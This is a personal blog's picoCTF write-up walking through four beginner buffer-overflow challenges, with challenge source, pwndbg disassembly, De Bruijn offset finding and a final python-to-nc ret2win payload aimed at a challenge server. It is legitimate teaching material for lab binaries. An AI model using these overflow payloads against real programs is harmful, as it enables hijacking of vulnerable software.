0xm0t0k0's RE & Cryptography lab

I <3 Reverse Engineering, Cryptography & Binary Exploitation. I also like Data Structs & Algorithms sometimes. Created as a means of documenting my passion. Plus some interesting intesection between art & hacking. My real name is '9366b1d5923333c2671f1688f9a9170549061196a0aab291' (Hint: a mix of XOR, ROT13 & RC2) :3

17 November 2025

Low Level Binary Intro Playlist by picoCTF Writeup

by

0xm0t0k0

WELCOME :D I’ve been busy! Busy solving buffer overflows in picoCTF’s Low Level Binary Intro playlist and reading the legendary paper Smashing The Stack For Fun And Profit. Buffer overflows are a foundational topic that once you understand are like the scales on the violin, painful to play at first and mostly bad executed as well, but then as you get better you can advance into real art or in our case more advanced memory exploitation topics :3 Soo, without further ado, let’s go to the first challenge in the Binary Exploitation list, called Picker IV.

We have source and it looks like this:

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void print_segf_message(){
  printf("Segfault triggered! Exiting.\n");
  sleep(15);
  exit(SIGSEGV);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, print_segf_message);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  unsigned int val;
  printf("Enter the address in hex to jump to, excluding '0x': ");
  scanf("%x", &val);
  printf("You input 0x%x\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}
So we understand that in order to get the flag we need to trigger the win() function.
All we need to do is input the functions address and the programm will jump right to it.
All we need to do is load the binary into pwndbg, disassemble win function, and :
pwndbg> disass win
Dump of assembler code for function win:
   0x000000000040129e <+0>:	endbr64
   0x00000000004012a2 <+4>:	push   rbp
   0x00000000004012a3 <+5>:	mov    rbp,rsp
   0x00000000004012a6 <+8>:	sub    rsp,0x10
   0x00000000004012aa <+12>:	lea    rdi,[rip+0xd74]        # 0x402025
   0x00000000004012b1 <+19>:	call   0x4010f0 <puts@plt>
   0x00000000004012b6 <+24>:	lea    rsi,[rip+0xd71]        # 0x40202e
   0x00000000004012bd <+31>:	lea    rdi,[rip+0xd6c]        # 0x402030
   0x00000000004012c4 <+38>:	call   0x401150 <fopen@plt>
   0x00000000004012c9 <+43>:	mov    QWORD PTR [rbp-0x10],rax
   0x00000000004012cd <+47>:	cmp    QWORD PTR [rbp-0x10],0x0
   ...
   ... #here is the rest of the asm that we do not care abt

Okay, we have the address of the func its the very first asm 0x000000000040129e We input the address into the program and voilà :

You input 0x40129e
You won!
picoCTF{DIY}

Okie-dokie then, let’s take a sip of some yummy coffee and continue our little lockpicking into programs

Next challenge is buffer overflow 0

the source code is

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1); 
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

And by taking a look we see some red flags immediately clears throat on gets(), on magic numbers in buf1, buf2, on strcpy(). But lets model it properly: The Buffer Overflow Chain:

In main():

char buf1[100] is declared (100 bytes) gets(buf1) reads user input aand has NO bounds checking, so you can input more than 100 bytes though we will shortly see less will be enough

Passed to vuln():

vuln(buf1) is called with whatever we inserted

In vuln() function:

char buf2[16] is declared (some magic and some number = catastrophe) strcpy(buf2, input) copies from input into buf2 strcpy() also has aalso no bounds checking, it just copies until it finds a null terminator (\0)

So all we need to input is enough bytes to cause a crash. I’ll let you figure out how much 0.<

We now graduate to “Local Target” where we are asked to overflow the buffer and modify the other local variable.

#include <stdio.h>
#include <stdlib.h>



int main(){
  FILE *fptr;
  char c;

  char input[16];
  int num = 64;
  
  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");
  
  printf("num is %d\n", num);
  fflush(stdout);
  
  if( num == 65 ){
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)
    {
        printf("Cannot open file.\n");
        fflush(stdout);
        exit(0);
    }

    // Read contents from file
    c = fgetc(fptr);
    while (c != EOF)
    {
        printf ("%c", c);
        c = fgetc(fptr);
    }
    fflush(stdout);

    printf("\n");
    fflush(stdout);
    fclose(fptr);
    exit(0);
  }
  
  printf("Bye!\n");
  fflush(stdout);
}

Here I discovered two approaches: one (more nerdy and prone to error) and one that uses something called DeBruijn sequence.

What we need to do is find out exactly how many “padding” we need to insert into our vulnerable input[] array. First though would be 17, and that does corrupt the buffer but it does not alter the value stored in the num variable’s memory location, it’s like breaking a glass into a house but only checking the entry hall.My initial approach was to see exactly where in memory resided input and num and then calculate how many steps in our case bytes i would need to access num’s memory location. Here is the disasm:

Dump of assembler code for function main:
   0x0000000000401236 <+0>:    endbr64
   0x000000000040123a <+4>:    push   rbp
   0x000000000040123b <+5>:    mov    rbp,rsp
   0x000000000040123e <+8>:    sub    rsp,0x20 
   0x0000000000401242 <+12>:    mov    DWORD PTR [rbp-0x8],0x40 #num is at 0x8
   0x0000000000401249 <+19>:    lea    rdi,[rip+0xdb4]        # 0x402004
   0x0000000000401250 <+26>:    mov    eax,0x0
   0x0000000000401255 <+31>:    call   0x4010f0 <printf@plt>
   0x000000000040125a <+36>:    mov    rax,QWORD PTR [rip+0x2e0f]        # 0x404070 
   0x0000000000401261 <+43>:    mov    rdi,rax
   0x0000000000401264 <+46>:    call   0x401120 <fflush@plt>
   0x0000000000401269 <+51>:    lea    rax,[rbp-0x20] ;here we see that input[] buffer is at 0x20
   0x000000000040126d <+55>:    mov    rdi,rax
   0x0000000000401270 <+58>:    mov    eax,0x0
   0x0000000000401275 <+63>:    call   0x401110 <gets@plt>
   0x000000000040127a <+68>:    mov    edi,0xa
   0x000000000040127f <+73>:    call   0x4010c0 <putchar@plt>
   0x0000000000401284 <+78>:    mov    eax,DWORD PTR [rbp-0x8]
   0x0000000000401287 <+81>:    mov    esi,eax
   0x0000000000401289 <+83>:    lea    rdi,[rip+0xd85]        # 0x402015
   0x0000000000401290 <+90>:    mov    eax,0x0
   0x0000000000401295 <+95>:    call   0x4010f0 <printf@plt>
   0x000000000040129a <+100>:    mov    rax,QWORD PTR [rip+0x2dcf]        # 0x404070

so 0x20 - 0x8 = 0x18 = 24 bytes of padding then all we need is to write value of 65 in hex and once again we have a flag.

The other way is by fuzzing to find when the buffer is overwritten by using unique 4-byte values (De Bruijn sequence) to check in the EIP when exactly the buffer got corrupted. It is way easier and less prone to calculation mistakes. Another very easy to solve is the recommended solution in the picoCTF site where it proposes a similar approach but more simplified(using the alphabet).

Now for the last one: we are asked to control the return address, aka corrupt the buffer and input our own address, though now it is more nuanced as we have to enter the address ourselves (it won’t be handled automatically like with the one that we just input the address).

First the source:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

as you can see win() is never called and is not after a vulnerable function, meaning we need to manually call it from its memory address. By fuzzing with a De Bruijn sequence we can find out just how much padding will be needed to overflow the buffer and overwrite the eip register allowing us to execute the function we want, in classic ret2win fashion. We also need to find the exact address of the function by running:

pwndbg> disass win
Dump of assembler code for function win:
   0x080491f6 <+0>:	endbr32                ;This is what interests us
   0x080491fa <+4>:	push   ebp
   0x080491fb <+5>:	mov    ebp,esp
   0x080491fd <+7>:	push   ebx
   0x080491fe <+8>:	sub    esp,0x54
   #rest of assembler dump

okidoki, so we note that address 0x080491f6. We also should consider that x86_64 architecture uses little-endian byte ordering, meaning the least significant byte of an integer is stored at the lowest memory address, so in our example that would look \xf6\x91\x04\x08 + the enter character (\x0a) to execute it (i found out about that the hard way, bc I was feeding the correct address and the program was just segfaulting and exiting without executing the win func).

we have the address ദ്ദി ˉ͈̀꒳ˉ͈́ )✧ all we need now is finding just how much padding we will need. i am using pwndbg, which has a neat little command called cyclic that produces a DeBruijn sequence and also is able to track it. Let me show you:

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

#we copy paste this
#then we run the program and input this string
pwndbg> run
Starting program: /home/m0t0k0/ctf/Challs/LowLevel/BinaryExploitation/BufferOverflows/bufferoverflow1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/nix/store/rcp9sdrrq8sfxkm5zdykglx7hd2gzbfy-glibc-2.40-66/lib/libthread_db.so.1".
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────
 EAX  0x41
 EBX  0x6161616a ('jaaa')
 ECX  0
 EDX  0
 EDI  0xf7ffcb60 (_rtld_local_ro) ◂— 0
 ESI  0x8049350 (__libc_csu_init) ◂— endbr32
 EBP  0x6161616b ('kaaa')
 ESP  0xffff8b20 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
 EIP  0x6161616c ('laaa')
───────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────
Invalid address 0x6161616c










────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ esp 0xffff8b20 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
01:0004│     0xffff8b24 ◂— 'naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
02:0008│     0xffff8b28 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
03:000c│     0xffff8b2c ◂— 'paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
04:0010│     0xffff8b30 ◂— 'qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
05:0014│     0xffff8b34 ◂— 'raaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
06:0018│     0xffff8b38 ◂— 'saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
07:001c│     0xffff8b3c ◂— 'taaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
──────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
 ► 0 0x6161616c None
   1 0x6161616d None
   2 0x6161616e None
   3 0x6161616f None
   4 0x61616170 None
   5 0x61616171 None
   6 0x61616172 None
   7 0x61616173 None
─────────────────────────────────────────────────────────────────────────────────────────────────────────
;we see that it crashed which is what we wanted₍^ >⩊< ^₎Ⳋ now we just have to look at the instruction pointer register
pwndbg> info registers eip
eip            0x6161616c          0x6161616c

#we see that the register contains the value 0x6161616c which maps to an exact sequence of character of our#sequence, but it would be tedious work to try and search and count ourselves. That's where cylic comes in #handy

pwndbg> cyclic -l 0x6161616c
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44 #and we have our padding :3

So use info registers eip + cyclic -l -> to get the padding

Then we have to find a way to input the address without the terminal interpreting our input as characters. If we try to just input our address after 44 bytes of padding into the challs interactive terminal, we won’t find any luck. So we need to make a command that sends raw bytes:

python3 -c "import sys; sys.stdout.buffer.write(b'PADDING\xf6\x91\x04\x08\x0a')" | nc saturn.picoctf.net port

when you hit enter and get the flag, remember that feeling for me it’s the best thing

understanding buffer overflows deeply and intuitively will help you graduate into even more interesting and difficult techniques, something i am also trying to self-learn, and it is so worth it when you finally get it and understand what’s going on.

as always, 0xm0t0k0 signing out 0.<

tags: asm - revEng - low-level - CTF - buffer-overflows